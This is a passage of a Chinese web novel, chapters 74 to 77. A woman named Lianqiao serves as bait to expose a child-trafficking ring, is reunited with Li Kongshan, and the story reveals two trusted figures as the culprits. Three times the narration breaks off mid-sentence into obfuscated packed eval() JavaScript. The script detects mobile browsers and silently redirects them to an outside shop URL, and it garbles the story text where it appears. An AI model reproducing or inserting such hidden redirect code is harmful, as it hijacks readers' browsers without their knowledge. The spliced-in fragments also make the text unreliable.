电话那头,孙阚平的声音很低沉,“……连翘,盯赵本奇的人来消息,说最近他一直在你公司楼下活动,甚至还会跟踪你回家,我们怀疑,他盯上你是因为当年消失的那张存储卡。” 连翘顿在原地,不再继续往前走,“……你是说,赵本奇怀疑存储卡在我身上?” “没错,”孙阚平继续往下说,“当年贲诸等人能顺利把拐来的儿童带去清流镇,还能做到人不知鬼不觉,全靠赵本奇在背后打掩护。” “不仅如此,我们通过摸查赵本奇,还找到了他们团伙老三的线索。连翘……这意味着,接下来的一段时间,你随时可能有危险。你放心,我们会加派人手盯着赵本奇,保护你的人身安全。” 连翘沉默了几秒,不动声色,继续镇静开口,“孙阚平,我懂你意思,你可以直说。你们想让我帮忙引出赵本奇以及他背后的老三,对吧?” 电话那头陷入沉默,没有继续出声。 过了很久,孙阚平开口,“我知道这对你一个女孩子来说危险系数很高,不到万不得已,我们不打算采用这个方案。” “可你们还有更好的方法吗?” 风轻轻吹起连翘的裙角,她的眉眼柔和平静,仿佛大风大浪在她的世界里再也激不起浪花,她,可以永远镇定自若。 “拿我当诱饵,是最好的选择。孙阚平,我帮你们吧。或者说,我欠十几年前那几个无辜惨死的女孩的,该还了。” 如果贲诸背后的人不完全落网,连翘还是会在午夜梦回时听见那些女孩哭泣求救的声音。 “谢了,不过……”孙阚平继续说,“你是不是注意到李空山的人最近也开始出现?” “是,”连翘立在原地,“……可是,这两者之间有什么关系?” “李空山和他的人,很有可能也是冲赵本奇来的。” 孙阚平听顿了几秒,“连翘,你再仔细回忆回忆,当年梁云放你们逃出去的时候,她真的没有把存储卡交到你手里吗?” “……没有。” 连翘摇头。 现在,那张储存卡成了最大的谜,不止连翘,就连警方也查询不到存储卡至今的下落。 - 凯瑞的发布会如约举行。 在后台候场时,杜若华亲切地看着连翘,严格来说,这还是她们第一次见面——杜若华以为如此。 她帮连翘整理吹到耳畔的头发,一改平日里的严肃,和蔼开口,“你今年多大?家在哪儿?” 连翘心平气和,眼前的人就跟普通人一样,“今年二十二,家在邻市。” 杜若华点点头,把手收回,合握在身前,“真好,要是我女儿还在,也当和你一样大。” 连翘浅浅一笑,注视着她,没有再多言。 等展品罗列完毕以后,主持人致辞结束,杜若华便挽着连翘一起登台致谢。 今日,连翘穿着一袭白粉色长裙,腰身处别有白色山茶花流苏坠,领口处露出锁骨和线条流畅恰到好处的肩臂。 她身型瘦,笑容浅,聚光灯打在她身上的时候,就仿佛梦里反复出现的场景终于搬到了现实。 多年前,她还是清流镇那个挨打挨骂,连读上书都已是一种奢侈,不敢说自己的想法也不敢说自己野心的女孩。 她不断地向上爬,往前走,不断提醒自己,不要回头。 一路走来,她受过不少伤,吃过很多苦,每一个夜晚她都坚持着,不妥协,每一次希望被人踩在脚下,她都不服输。 她跌倒过,费尽心机过,也一次次重新站起来过。 台下是慕名而来的业内同行、媒体记者还有行业大咖,她接受着他们的注视、他们的赞叹。 连翘想,她终于堂堂正正地走上了自己的路,她也不再是从前那个只能躲在被人背后任人欺负的女孩。 她是她自己世界里的王者,在她的国度里,她高高举起燃烧着生命之火的火炬。 向这个世界宣告——她不认输。 她做到了——任何困难和挫折都无法泯灭她向前走的意志和决心。 在台下注视着杜若华身边这位耀眼新锐设计师的人里,同样还有李空山。 他端着手臂,倚靠在门口,模样看上去好像懒懒散散的,但实际上,那对注视着他心爱女孩的眼眸,却格外专注认真。 他不禁笑了,打心眼里为她感到开心、骄傲。 她终于实现她她的梦想,让所有人对她刮目相看,哪怕她从前只是一个连书都快读不上的人,不是吗? 她看似柔弱,其实一身不屈傲骨,万事万物都无法碾碎她变强大的决心。 李空山的眼里全是她。 他就那样默默注视着,目光柔和,平静又波涛汹涌。 平静的是时光沉淀的爱意。 波涛汹涌的是难以舍却的想念。 绍兴雨和孟河换了岗,穿过会场人群,在东南侧们找到李空山。 他将李空山那充满爱意的目光尽收眼底,忍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13519658|138842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不住出声询问,“哥,至于这么高兴吗?说得难听点,当初她接近你,不也是为了利用你往上走?” “你不懂,”李空山端着手臂,继续倚靠在门沿处,目光仍不舍得从红毯台的连翘身上收回,“她是她,我是我,她是一个独立的个体,我也是,她得首先爱好她自己,再去选择是否要爱我。” “哪怕她心里有我,这也并不意味着,她必须得天天围着我转,一切以我为中心,不是吗?她是她,首先得是她。她爱人,首先得爱自己。” 绍兴雨绞尽脑汁去琢磨李空山这句话是什么意思,但是未尝爱的滋味,他实在琢磨不明白。 在会场各个角落里布置好秘密检测仪后,景融也带着笔记本电脑找到李空山和绍兴雨。 李空山见他来了,偏头看他,“现在什么情况?” 景融扶了下黑框眼镜,注视着电脑屏幕上的检测数据,骄傲自信,“一切正常,现在赵本奇还只是在会场外面活动,没有踏入。” “好。” 李空山站直,把手放下,“绍兴雨,你先跟着景融,有什么情况随时通知我。” 绍兴雨立即应声答应:“好嘞哥——” 李空山又看向景融,“你时刻观察着会场的情况,刚子和孟河那边你多提醒点,免得他们又开小差。” 景融点头,“明白,哥,你放心吧。” 他拍拍两人的肩臂,侧身穿过密密麻麻的人群离开,“我先去个地方。” 李空山走后,绍兴雨挪动景融身边,手指搓着下巴,认真思量,“欸,你说咱哥这么着急是准备去找谁啊?” “还能找谁,”景融把目光从手中的电脑屏幕处挪开,看向台中央和杜若华一起接受记者采访的连翘,“除了她,没有第二个人让他如此了。” 媒体见面会结束以后,连翘捶打着泛酸肩膀,走到卫生间。 出来以后,她在卫生间中央的洗手台冲水洗手。 关掉水龙头,她洒洒手上的水,漫不经心抬起头,透过镜子,猝不及防看见赵本奇那张苍老不少的脸,带着狡黠的笑,盯着她。 !! 连翘吓得往后退了步,差点摔倒,她颤巍巍别着脑袋,往身后看去。 忽然间,却一个人也没有。 这么快,赵本奇就要有所行动了吗? 连翘慌张离开卫生间,穿过活动现场的人群,径直奔向化妆间,她得去打电话通知孙阚平。 奔向化妆间的路上,连翘回头,无意间看见混在人群里,正奸诈笑着,抬脚大步朝自己追来的赵本奇。 她必须快一点,再快一点。 一路快跑到走廊尽头,连翘慌张进入01号房化妆间,反手把门锁上,心怦怦跳,仿佛提到了嗓子眼。 她背靠着门,松了一口气,又慌不择路跑到化妆镜前,摸索并寻找包里的手机。 “噼”的一声,化妆间的灯忽然熄灭。 四周陷入一片漆黑。 背后有脚步声。 忽然,一双手捂住连翘的嘴。 男人手握成拳头,环住她的腰身。 “唔——放开!” 连翘举起两只手去扳开男人捂住自己的手。 他低下脑袋,偏头凑到连翘耳边, 轻轻出声,手上的动作很温柔,没有施力。 “嘘——” “别出声。” “别害怕……尧尧。” “是我。” 75. 第 75 章 这个声音,连翘再熟悉不过了。 她渐渐松开手上的力度,不再挣脱。 两手放下来。 这一刻,李空山就在她的身后,在她触手可及的地方。 而就在前一秒,他的声音回响在她的耳畔,仿佛是梦里的声音从虚幻世界里逃出来,来到现实世界,来到她的身侧。 连翘想过很多次再见到李空山时,该如何开场,该说些什么,可是这一刻,她却脑子一片空白。 只是脑海里浮现着她离开那日,少年冒着大雨去剖泥石的背影,挥之不去。 李空山听觉敏锐,察觉到一点点靠近门口的脚步声,于是,他带着连翘退往后退,躲到落地布帘之后,转身挡在连翘面前。 他松开了捂住连翘嘴巴的手,低下头,于她耳畔处轻语,“嘘——不要出声。” 连翘没有应声,但轻轻点头。 下一秒,化妆间的门被人从外面打开,轻轻的脚步声从门口一点点靠近,直到消失在帘子前面。 连翘知道,是刚刚一直跟着她的赵本奇进来了。 她的心再一次跳得很快,紧张到快要不能呼吸,如果赵本奇同时发现了她和李空山怎么办? 她无法去想象后果。 在她看来,她倒是无所谓,可是她害怕牵连李空山。 李空山看出她的忐忑,伸出手扣住她的后腰,将她轻轻推向自己,离她更近些,歪着头,盯着她。 虽一言不发,但连翘看得懂这对漆黑眼眸中的炙热和执拗。 就好像在审问她这些年的消失。 两个人的呼吸近在咫尺,温热的呼吸萦绕着,连翘感到一阵热,别开头,把目光挪开。 赵本奇打开手电筒环顾一圈,没有看见人,又停在帘子前面端详许久,最终,一通电话止住了他去掀开帘子的手。 他拿着手机走出去,门再次被关上。 李空山听见关门的声音,掀开帘子,径直走出去。 到门口把门反锁,转身看她,无所谓摊开手,“好了,他看到这儿没人,应该不会再回来,你不用再害怕了。” 连翘往前走了几步,无措立在原地,看看四周,唯独不敢把目光停留在李空山身上。 他想,她一定是还不适应他的突然出现。 李空山笑笑,走到连翘面前,瞬间变得很正经,就连说话都不再耍贫嘴。 “……尧尧,今天我看到你在台上,万众瞩目的样子了,我很替你开心,你知道吗,你本就该如此耀眼。” 他的目光里带着期许,但更多的是这些年来积压许久的想念。 连翘抬眸看他,这一刻,她特别想问问李空山这些年过得好不好,想问问他是不是也在好多个夜晚里难过得偷偷抹眼泪,还想问问他,是不是一直在怪她……怪她不告而别,谎话连篇…… 可是…… 连翘忘不掉刚才赵本奇出现在镜子里的那张脸,忘不掉孙阚平在电话里对自己说的话,赵本奇这次是冲着她来的。 李空山来找她了,她很开心,但……她不想……让这件事连累到李空山。 再多靠近一点点,就有危险。 她不禁往后退了一步,与他隔出距离。 原本满眼期待,嘴角带笑的李空山目光渐渐变得落空。 他不知所措看着她退半步的动作,压抑了许久的落寞情绪忽然如洪水猛兽袭来。 “……尧尧?” 他走到她面前,拽住她的手腕,眼眸中满是哀伤和不解,“难道你不想看到我吗?难道我出现,你一点都不开心?” 连翘心里有两种情绪在打架,理性的和感性的。 她怎么会不开心他的出现?可终究还是理性的情绪赢得了这场争斗的胜利。 她的眼眸不再闪动,目光变得很平淡,就连声音也是如此。 “不开心,当然不开心了,”连翘抬头注视着他,只给李空山看她眼里的无情和决绝,“你为什么要出现?我现在的生活过得好好的,一切都按部就班进行,可你一出现就仿佛在提醒着我过去的那些噩梦,那些我拼命摆脱,可你偏要强行塞给我的肮脏回忆。” “……肮脏?” 李空山渐渐松手,难以置信地看她,“……难道在你眼里,我们以前的种种,就那么令你感到厌恶?” 连翘不动声色抬眸,与他目光相撞。 明明只是简简单单的几个字,却在他的心上撞出巨大创伤,如深渊,如刀刺。 想不明白,又痛心切骨。 李空山不相信,他再次走到连翘面前,拽起她的手腕,将她拉向自己,垂下眼眸注视她,逼问。 “尧尧,你在骗我。孟河说,那天你们遇到了,你一直在问他们我在哪儿,我不信你不想看见我。” “你不信又能怎样呢?别在这儿自欺欺人了。” 连翘面无表情与他对视,目光里一点儿感情都没有,就连基本的波澜都消失得无影无踪,“李空山,事到如今,你还不明白吗?一直以来我都在利用你。” “当初你到田永贵家收债是,让你同情我出钱供我读书是,在我被人欺负以后也绝不还手,就等你替我出口恶气也是。” “你以为我真的那么傻,随随便便找个人,就求对方帮我逃出田永贵的魔爪,供我读书?” “当然不是。” “这些全都是我精心设计的,我打听过你,调查过你,从你还没带人进田永贵家里收债的时候,我就已经在布局,开始利用你了。” “就连你那天会带人上门收债,我也知道。” 连翘把手腕从李空山手里挣脱,垂在身侧,“对我而言,你不过是我的一颗垫脚石而已,用完就扔,现在我一点儿都没有想捡回来的打算和必要。在这场局里,李空山,你只是我的一枚棋子。” “其他的,什么也不是。” “你说谎。” 连翘说出的这些话很伤人,但只有足够伤人,才能达到她逼李空山远离自己、不要淌赵本奇这趟浑水的目的。 李空山红了眼睛,却一腔情愿陷在自己的执拗里,他不相信连翘说的这些话,只相信自己所看到的。 他相信——眼神骗不了人。 连翘看他的时候,其实也有那么一丝动容。 “……尧尧。” 李空山走过去,一把抱住她,头埋在她的肩头。 抱得很紧很紧。 “你知不知道,我很想你,一直都很想你。” “好多个夜晚,我躺在床上,闭上眼睛,眼前总能浮现你的模样、你的身影,我不止一次歇斯底里想去找你,翘首以盼着第二天的到来,以为第二天就是我们重逢的开始。” “可是等到第二天,我到你的身边去看你时,又发现你过着崭新的生活,按部就班,一切都很稳定、幸福。我又后悔了,开始打起退堂鼓,害怕我的出现会打扰到你的生活。” “但真的就这样吗?” 李空山站直,按住她的肩膀,全神贯注盯着她的眼眸,企图在这双眼睛里找到一点点也曾留恋他的痕迹。 “……尧尧,奶奶和小海走的那天,我把我们几个人的照片撕烂,以为这样就可以不再去想那些痛苦的往事,可是我发现我根本做不到。后来,我又一点点地把照片重新拼凑完整。” “每当我盯着墙上这张破破烂烂的照片时,我就会害怕,害怕我弄丢的关于你的碎片,再也找不回来。” “尧尧,我不信你对过去一点儿感情都没有。” 连翘别开目光,试图压抑住自己想哭的情绪,她的声音淡淡的,“那又怎样……” “可惜我就是……” “一点都不留恋。” 她错开李空山的肩膀,开门走了出去。 只留下李空山一个人落寞地站在漆黑的房间里,一言不发。 少年个高,身形挺拔,可那一天,他的心却被人踩在脚下,目光里的期许压得死死的。 只剩下失落。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13534107|138842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >- 会场外的一辆车旁,等候许久的孟河孟河见到李空山出来,赶紧迎上去,“哥,咋样啊,里面现在啥情况?” 李空山无言,坐回车里,沉默了一会儿,看向驾驶座的孟河,“景融那边有消息没?” “有,”孟河解释,“追踪信号显示赵本奇进入会场以后,我们就按你的吩咐一直对他进行跟踪,但不采取行动,直到他又重新离开会场。” “那现在他往哪个方向去了?” 车内后座,李空山的目光黯淡,戴上若无其事的面具,悲伤只被他藏在面具之后。 “反正景融这小子说目前是往郐山那边。” “嗯。”李空山轻轻点头,身子往后仰,“知道了。” - 连翘走到□□散心,这里一个人都没有,她终于可以不用再掩饰,任由挤压许久的眼泪流淌。 她回想着李空山刚才说过的话,回想着他眼里的落寞和失落,对自己的责备又多了些。 可是她没得选,李空山这个人性子就那样,冲动又直率,不管多危险的事都一股脑往前走。 不管是否危及他自身安全,只要那件事关乎他重要的人。 连翘必须这样,才能让李空山与她划清界限,保持距离。 不让他趟这场浑水。 弯弯明月挂在天上,夜空中星星依稀单薄。连翘抬头望天,数星星,这是奶奶教她的。 如果人难过的时候抬头数数星星,星星就会帮忙,带走眼泪。 手机响起电话铃声,连翘低头看去,是孙阚平打来的。 她接通。 对面响起孙阚平的声音,“喂,连翘,是你吗?” 连翘擦擦脸颊上的眼泪,整顿情绪,不让自己的声音颤抖,“……是我,怎么了吗?” “是这样的,我有一件很重要的事得告诉你,事关李空山和他手下那些人的安危,你现在有时间吗,来趟郐山找我吧,我就在郐山山脚下的云泽山庄。” “有什么事不能在市区里说吗?你跑那么远做什么?” 电话那头,孙阚平只解释了一句,“你来就知道了。” 下一秒,电话被挂断。 连翘低头看着发出“嘟嘟嘟”声音的手机,疑惑一闪而过。 顾及着事关李空山,想也没多想,就直接转身走出去,急匆匆跑到路边拦车。 挂断电话以后,男人把手机扔到一旁稻草堆里,起身走到承重柱前。 这是一栋烂尾楼底部,建在云泽山庄的后山,平日里基本没人叨扰。 他蹲了下来,盯着被捆在柱子上的孙阚平,抬起下巴挑衅,“听见了吧?我说她还真天真,一看是你打的电话,二话不说就来了。” 赵本奇在旁边大口大口喝着水,喝痛快以后,走到男人身边蹲下,朝他竖起大拇指,“还是你厉害,这个变声器真好用。” 孙阚平身上负伤,处于半晕厥状态,半昏半醒间,他睁开眼睛,试图看清眼前这个人的长相。 男人头发很久没有剪过,垂在耳畔,满脸胡茬子,邋里邋遢,完全变了个样。 但孙阚平好似依稀能辨认出来,这张脸有点眼熟,似乎在哪里见过。 好像是…… 清流镇。 车外,靠着车门悄咪咪观察情况的孟河见到连翘在路边拦车,立刻转身,跑到后车厢,慌张扣车门。 “哥!她打车走了!” “去哪儿?” “景融在电话里说,也是郐山那方向。” 为了确保连翘的安全,李空山不得已在连翘的手机上装了定位仪。 今天贸然去见她,想念是一部分原因,撑着抱她的机会悄悄按定位仪,更是一部分原因。 景融和绍兴雨、许弋刚一路,坐在车上时刻密切关注着她与赵本奇的位置。 李空山把目光收回,盯着正前方。 “上车,跟上去。” 孟河立即回话上车,“是——” 76. 第 76 章 车子开到半路的时候,连翘忽然意识到哪里不对。 孙阚平让她去十公里外的郐山找他,这并不像孙阚平的作风。 以前,如果案子有事需要找她,孙阚平总会自己亲自来,从不会像今天一样,通知她去一个陌生的地。 她想了想,拿出手机。 绿灯亮起,孟河松开刹车,车子迅疾冲了出去,以极快的速度追赶前面那辆出租车。 坐在后座的李空山轻触耳塞,出声发话,“景融,你和绍兴雨现在在哪儿?” 景融盯着笔记本电脑上时刻变化的追踪点,回话,“哥,我们现在在你们东南方向三百米的红绿灯路口。他们的目的地是郐山,你和孟河在下一个路口往右拐,进入南屏路以后沿大路直行,能比预计提前八分钟到达。” “好,”李空山声音淡淡的,目光比从前沉稳不少,“你再通知刚子,加派人手盯着郐山山脚,以防他们的人逃走。” 两辆车都以极快的速度向前行驶,景融回答:“收到。” - 连翘打电话给陆平安,知晓这是孙阚平的计谋,顺势被赵本奇抓走,为的只是引蛇出洞,找到赵本奇背后的老三究竟是谁。 只是孙阚平没想到赵本奇那边会给连翘打电话,让她也去郐山。 陆平安在电话里对连翘说:“我们已经派了人手过去,你一个人如约前行恐怕会有危险。” 连翘回答,毅然决然,“没关系,我不怕。我如果不出现,孙阚平才是真的可能会有危险。” 即便他是故意被赵本奇抓走的,但他们这些人手段歹毒,谁知道他们被逼急以后能做出什么事情。 连翘说得并无道理,陆平安在电话里答应了她,“不过你得随时和我们保持电话联系,以免中途出现变故,你放心,我们的人会盯着,确保你的安全。” “好。” 车子驶出市区,从山间小路一闪而过,连翘放下电话以后看向窗外,手里攥紧手机,力度加大。 孟河开车抵达郐山山脚,李空山打开车门下车,径直往上山唯一的小路走去,孟河紧随其后。 李空山止步,转身让他停下,“你不能去。” “为什么?”孟河着急,“哥,赵本奇就在上面,守株待兔,你一个人上去多危险,我必须和你一起!” “孟河,你听我说,”李空山比起从前冷静不少,他已经设想过上山以后可能会发生什么,“赵本奇绑了那小警察在上面,我们都不知道上面什么情况,不知道他有多少人,也不知道是否有诈,你和景融、刚子他们一起留在这里,等我消息。” 李空山转身就要继续往上走,孟河拽住他的衣角,依旧不肯放弃,“……可是我真的想和你一起上去。” 李空山把孟河的手拽开,回眸看他,“你听我的。小海已经因为我没了,我不想再看到你们也因为我出事。我跟赵本奇的账,我自己去算就够了。” 他无所谓摆摆手,从容地一步一步迈上台阶,“别跟上来,你今天要敢跟上来,我李空山不拿你当兄弟。” 孟河欲言又止,皱着眉头凝视李空山的背影,那双眼里满是担忧,两脚踌躇不前,手抬起又放下。 连翘坐着车沿着大路一直开往山上,云泽山庄就建在山顶,她也不知会发生什么,但她相信,自己一定能和从前一样勇敢。 男人提着一桶汽油,把烂尾楼的每层楼梯和通道门口都浇上一遍,坐在承重柱边的赵本奇打盹醒来,睁开眼看他,“不就那女的一个人来?至于这么谨慎?” 手里这桶汽油浇完以后,男人提着空桶走到没有安窗户的墙边,往远处眺望,“真的是一个人来?你自己好好看看。” 只见对面的云泽山庄突然停了不少车,每辆车里都坐着人,他们看似在打电话聊天,实则一直注意着这栋烂尾楼里的动静。 甚至包括在池塘边垂钓的年轻人、在对面楼里假装要休息拉紧窗帘的青年…… 其中有陆平安那边的便衣警察,也有李空山手下的人,虽来路不同,但他们的目的都很统一且明确。 就是此刻待在这层楼里的赵本奇等人。 男人提着空桶回到承重柱边蹲下,抬了下头,看向赵本奇,“时候差不多了,把他弄醒。” 闻言,赵本奇立即起身,提来一桶水,浇在孙阚平身上。 孙阚平腿上被扎了一刀,伤口有些深,以至于他已经无法用正常速度走路。 被水浇醒以后,孙阚平甩开头发上的水,环顾左右,一言不发。 男人蹲在他面前,“你想给我们耍诈是不是?” 孙阚平不屑笑了下,现在的他被麻绳捆在承重柱上,动弹不得,“你觉得我现在这样,能给你耍什么诈?你也太看得起我了。” 男人跟着不屑一笑,“你有没有耍诈,我现在已经不关心了,反正——她正在来的路上,估摸着也快到了。” “听说你们这些警察的原则是保护人民群众?真tm扯淡,等会我就让你看看,你的情报人如果不听从我的吩咐,将会有怎样的下场。” 孙阚平注视着眼前男人的眼睛,他的头发太潦草,许久都没有收拾打理过,以至于快要遮盖他的眼眸。 可即便如此,孙阚平看着他的眼睛时,还是能想起以前他在清流镇时的状态和大笑的模样。 李空山从小路独自一人上山之后,就悄无声息地摩挲着爬上烂尾楼。 这栋烂尾楼的楼层很低,凿开的窗口眼挨着上一层楼的窗口眼,李空山没有走楼梯,而是直接从烂尾楼的背后爬上去。 这是一个隐蔽的侧角,以至于抵达赵本奇他们所在的那层楼时,待在外面大堂的他们也没能发现李空山跳了进来。 赵本奇走到窗口边往外边看了一圈,回到男人身边,“那女的怎么还不来,不会是不来了吧?” 男人随即起身站好,走到旁边角落里拾起一块煤炭回到孙阚平面前,重新蹲下,他掏出打火机,“没关系,要是她今天不来,我们就还他们一个炭烤小警察,你说如何?” 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13546845|138842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望着眼前的孙阚平讪笑,嘴角扯向两边的脸颊,像个吃血的小丑。 孙阚平目光淡淡的,没有丝毫波澜,他不惧亦不怕。 “你们别伤害他!” 连翘一路跑来,爬了几层楼梯,终于抵达发出声音的这层楼。 她冲过来,站在几个人对面,率先映入她眼帘的是赵本奇和他背后的孙阚平,随后,连翘把目光往旁边挪。 当她看清一旁蹲着的男人起身时露出的那张脸时,她瞬间变得不淡定,骇然失色。 “……你不是已经……” “已经什么?” “已经走了?” 男人笑笑,无所谓向连翘逼近,与此同时,他的手里还拿着一把刀,刀刃日光的照耀下闪烁着光,有些刺眼。 本在里屋探听动静的李空山意识到连翘有危险,二话不说冲了出去。 他把男人踢开,将连翘护在身后,眼神警惕,扫过眼前的一切。 包括赵本奇和失血过多半昏半醒的孙阚平。 只是被踢开而倒在地上的男人头发又长有潦草,遮盖住他的半张脸,以至于李空山暂时还没能认出他是谁。 他回眸,问及身后的人,“怎样?你没事吧?” 连翘诧异,“李空山!你怎么在这儿?” 孙阚平曾给她说过,李空山来到榕城,也是冲赵本奇来的,可此刻李空山再一次出现,更让她明白——他好像也是冲她来的。 似乎……他一直在背后默默保护着自己,那么……是从什么时候开始的呢? 现在的连翘已无暇去想这些,她摇摇头,立即回答:“我没事。” 李空山确认她的情况以后,看向身后的楼梯口,“这儿不是你应该待的地方,你从这里下去,孟河和刚子在外面接应,你现在就走。” “不行,”连翘站在李空山身后,一点儿离开的打算都没有,“孙阚平还在他们手里,我不能抛下你们就这样离开。” “你不就是为了那小警察来的吗,这儿有我,我保证把他安全带回去。” 李空山有些不悦,在来的路上,他就一直在想——想连翘为什么义无反顾地来这里找这小警察,难道在她的眼里,小警察就那么重要,她连自己的安危都不顾? 连翘还是坚持不走,“可你只有一个人,我不能留你一个人在这儿单打独斗。” 李空山背对着连翘站,在这一刻,他那颗多虑不安的心突然变得坦然,原来,她对自己才不是一点儿情意都没有。 “那你自己小心点。” 被踢倒在地的男人爬了起来。 赵本奇只是会点偷奸耍滑,什么拳脚本事都没有,怂得躲到了承重柱后面,静观其变。 而当男人彻底站直,溜进来的狂风吹起他的头发时,李空山这才看清他那张脸。 他冲到男人面前,欲刺下去的那把刀忽然顿在空中。 他愣愣地看着眼前的人,手忽然没了力度,失去方向。 “……为什么……是你?” 77. 第 77 章 “对啊,就是我,你很意外对吧。” 男人勾起嘴角奸诈一笑,无所谓摊开手 在行动之前,他还想和李空山叙叙旧。 “空山,见到你的好哥哥邱炀了,不打声招呼?” 他拨开遮住侧脸的头发,讪笑着,将李空山的惊骇和无措尽收眼底。 李空山陷入无言中,无法相信眼前的一切是真的。 他往日的大哥哥,往日里三番两天就打电话来念叨他找正事做的邱炀……被奶奶当做自己孩子看的他……怎么会是…… 一阵富有节奏的鼓掌声响起,由远及近。 另一个年过半百的男人从楼梯口走了上来,站到邱炀身旁,他同样诡笑,止住拍手鼓掌的动作,看向眼前的李空山。 “别着急,还有我,意不意外?” “……黑子哥……” 李空山还没从邱炀的身份中缓过劲儿来,又再次陷入突然出现的陈黑子的惊恐中。 为什么……这些明明都是他以前再熟悉不过的人,为什么他们竟然就是一直在暗处设局的幕后黑手。 陈黑子拉长声音,不禁感叹,“空山,我知道你想问我什么。你是不是想知道,我不是解散黑武会以后就去外面找女儿了吗,对吧。” “还有他,”陈黑子侧着身指向邱炀,“你肯定也很想问为什么邱炀也会跟我们一伙儿对吧。” 他虚假地叹了口气,又假惺惺地皱紧眉,“没办法,谁让你这么好骗啊。当初我们随便编个过去的经历,你就信了,我们随便用点虚假的心对你,你就反过来用真心待我们。” 注意到站在不远处的连翘,陈黑子想起来还有她,恍然大悟开口,“哦,对,还有她。听说当初也是她骗了你,然后又把你甩了?” 陈黑子感叹道:“空山呐,我以前是不是跟你说过,不要随便相信人,更不要随便交付你的真心,免得到头来啊,一无所有,浑身是伤。” 李空山眼眸中的光渐渐聚焦。 他抬起眼,直勾勾盯着眼前的两人,反手握紧手中刀刃,斩钉截铁。 “那又如何,我的事还轮不到你来指手画脚。你先管好你自己再说。明知是歧途,你踏入就算了,瞒着黑武会的所有兄弟,甚至还要拉着邱炀入局?!” “欸——这话可说的不对,”陈黑子否决李空山,“不是我拉着邱炀入局,是他自己求我的。当初你真以为邱炀单纯只是为了找体面点的正经工作才出去的?不是,只是他出趟远门帮我办事而已。” “空山呐,早在你认识邱炀之前,他就已经是我的人了。” “那你呢?” 李空山抬起黯淡的眼眸看他,“那批团伙里的老三,就是你。” “你不是口口声声说要找你被拐的女儿?结果反手做了起人贩子的勾当?” “这话说得也并非完全不对,”陈黑子把手背在身后,笑着感叹,从当初结识李空山的那天起,他就知道,这一天早晚会到来,“我是要找我的女儿没错,可是我的女儿不是早就死了吗,你知道,我也知道。我平时出现幻觉,装精神失常,都是故意骗你的,不过是想不让你怀疑我的过去和身份而已。” “我是恨当初害死我女儿的人没错啊,可是那又如何?我不还是一样没钱,一样沦为他人的笑柄,被人看不起。” “所以,当初我提着刀去找人贩子的时候,他劝我留下来帮他们一起做事,我就答应了。” “邱炀呢,是个聪明的孩子,他知道在镇子里一辈子都无法出人头地,这不,就跟了我,走私人口多挣钱啊,就是可惜,当年经过警察抓捕之后,我们都没再敢有行动。” “我们也试过想金盆洗手不干了,可是啊,不行,你妈妈偷偷拍了我们犯罪的证据放在存储卡里,没拿到这张卡,我们怎么做回普通人。” 李空山注视着眼前的陈黑子,无言沉默。 以前,他自以为自己很了解陈黑子,以为他不过是个失去了女儿,不得不陷入自责和痛苦中的人而已。 可是如今他才明白,他想错了。 陈黑子不是他以为的那样,邱炀也不是,他们都不是。他不懂为什么身边的人要骗他。 只见陈黑子快步朝连翘走去,“当年梁云不是放她走了吗,那张储存卡一定在你手里对不对!” 连翘正在解捆住孙阚平的绳子。 李空山反应过来,快步挡在陈黑子前面,执拗地盯着他,“你敢。” 陈黑子笑了下,“空山,你别忘了,当年你的这身拳脚功夫,都是我教的。” 李空山把刀收回,踩住陈黑子的膝盖窝,扣住他肩膀,“你也别忘了,有句话叫做青出于蓝胜于蓝。” 邱炀环顾眼下的局面,陈黑子还能勉强缠住李空山一时半会,他们的目的是那张卡。 于是,邱炀径直向连翘走去。 连翘手慌脚乱去解绳子,口中不停喊着孙阚平的名字,“你醒醒啊,快醒醒……” 就在邱炀举起手中的棒子准备朝连翘背后打去时,孙阚平忽地睁开眼睛,身上的绳子已经松动。 他挣脱开站起,一脚踢中邱炀的肚子。 孙阚平拉起连翘感叹,“这儿这么危险,你还真来啊。” 他的腿上虽然被扎了几刀,但由于个人意志顽强,身体素质高,暂时对他影响还不大。 “我说过的,我要让当年的她们的亡魂安息,”连翘急急忙忙开口,“你快去帮帮李空山好吗?” 孙阚平正要开口,身后的邱炀重新站起,抡起棒子朝他砸下来。 他瞪大眼睛,及时弯腰躲开,回答连翘的话,“我也想啊,你看我这儿不还有一个人吗。” 陈黑子知道自己早已不是李空山的对手,反应和速度更是远远不及他,两个人打起来,他拖不住李空山。 于是,他只好用一些特殊的法子,攻击李空山的软肋。 陈黑子一边躲闪,一边找机会去捡被踢开的刀子,“你从小到大不是都很好奇你的妈妈去哪儿了,为什么不要你吗?你现在明白了吧,她早就已经死了。” 扰乱李空山的心,只需要在他的伤口上撒盐。 